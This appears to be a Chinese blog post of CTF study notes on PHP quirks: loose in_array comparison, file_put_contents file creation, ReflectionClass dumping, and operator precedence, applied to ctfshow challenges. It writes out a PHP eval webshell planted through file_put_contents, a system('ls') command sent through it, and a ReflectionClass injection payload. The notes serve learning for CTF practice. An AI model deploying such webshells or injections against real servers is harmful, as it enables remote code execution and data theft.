php特性入门(持续更新)
持续更新php特性知识
in_array函数漏洞
- 如题:(ctfshow web99)
- 这里
rand(1,$i)
是在从1
到$i
之间随机选择一个数输出。 - 关于in_array函数的机制:
- 格式:
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
,即首位参数为需查询的数值,第二个参数为目标数组,最后一个参数为是否为严格比较。 - 这里没有设置
$strict
即是否为严格比较的值,默认为FALSE
,即非严格比较。如输入2.php
,根据 PHP 类型转换规则 ,从字符串转换为数值时,'2.php'
会被转换为2
(因为它以数字开头,遇到非数字字符就停止转换)。然后该数据就会和$allow
中的元素做查询,看是否有该元素存在。 - 所以这里我们就可以利用
2.php
激活if
语句,利用file_put_contents
函数()。 - 这里相当精妙:利用
file_put_contents
函数来绕过检查并且创造一个1.php
文件。并且将$POST
方式所传入的content
变量所代表的数据代码内容,写入1.php
文件。
- 格式:
- 所以直接采用一句话木马,在
1.php
传入一个content=<?= @eval(?_REQUEST['a'])?>
语句,让1.php
可以执行一个$_REQUEST
超全局变量接收命令并且将结果输出到前端网页端中。 - 由于
$_REQUEST
超全局变量可以接收$_GET
、$_POST
超全局变量,所以可以在导航栏中使用a=system("ls");
指令对该服务器进行控制,并且抓取目标文件。
file_put_contents 函数机制利用
基本机制:
语法:
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
,filename
即规定要写入数据的文件,data
即要写入文件的数据。可以是字符串、数组或数据流。flags
可选。规定如何打开/写入文件。可能的值:- FILE_USE_INCLUDE_PATH
- FILE_APPEND
- LOCK_EX
context
可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。重要规则:如果文件不存在,将创建一个文件,并且打开文件。
类映射利用
如下题:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}可见这题将相当多的字符串都过滤了,包括我们常用的注释符号:
/**/
,所以只有另辟蹊径这里我们采用类映射的方式:
所谓类映射ReflectionClass
,就是把一个类中的所有相关属性和方法全部扫描出来,让我们可以看到其内部结构:DeepSeek
对其的通俗解释:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52什么是「类映射」(反射类)?
它是一面「透视镜」:
普通情况下,你只能看到盒子的外观(类的公开方法/属性)。
用反射类就像用X光扫描盒子,能直接看到盒子内部结构:锁的位置(私有属性)、钥匙孔形状(方法参数)等。
它能「拆解盒子」:
比如用 ReflectionClass 可以:
查看盒子里的所有物品(类的属性和方法)。
强行打开锁(访问私有属性)。
复制一把钥匙(动态调用私有方法)。
在CTF中怎么用?
假设题目中有这样一个类:
php
复制
class ctfshow {
private $flag = "ctfshow{abc123}"; // 藏在盒子里的flag!
}
步骤1:用反射类「透视」
php
复制
$ref = new ReflectionClass('ctfshow'); // 用透视镜扫描盒子
步骤2:找到「锁的位置」(私有属性)
php
复制
$property = $ref->getProperty('flag'); // 发现flag属性
$property->setAccessible(true); // 强行撬锁!
步骤3:拿走flag
php
复制
$obj = $ref->newInstance(); // 把盒子里的东西倒出来
echo $property->getValue($obj); // 输出:ctfshow{abc123}
为什么你的Payload能用?
你给的payload是:
复制
v2=echo new ReflectionClass&v3=;
相当于:
php
复制
echo new ReflectionClass('ctfshow');
效果:直接输出这个类的内部信息(就像把透视结果打印出来),如果类中有flag,可能直接暴露!类映射可以比
print_r
获取类内部更多的属性,如包括私有和共有属性。这道题我们就通过类映射对类内部进行扫描,并且
echo
输出。另外多说一句:
PHP中运算符优先级规则是:=
(赋值)的优先级高于逻辑运算符and
所以这行代码:1
2
3
4$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
// 后续代码
}实际等价于:
1
($v0 = is_numeric($v1)) and is_numeric($v2) and is_numeric($v3);
所以后面的
$v2
和$v3
可以不为整数。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Dedsec的博客!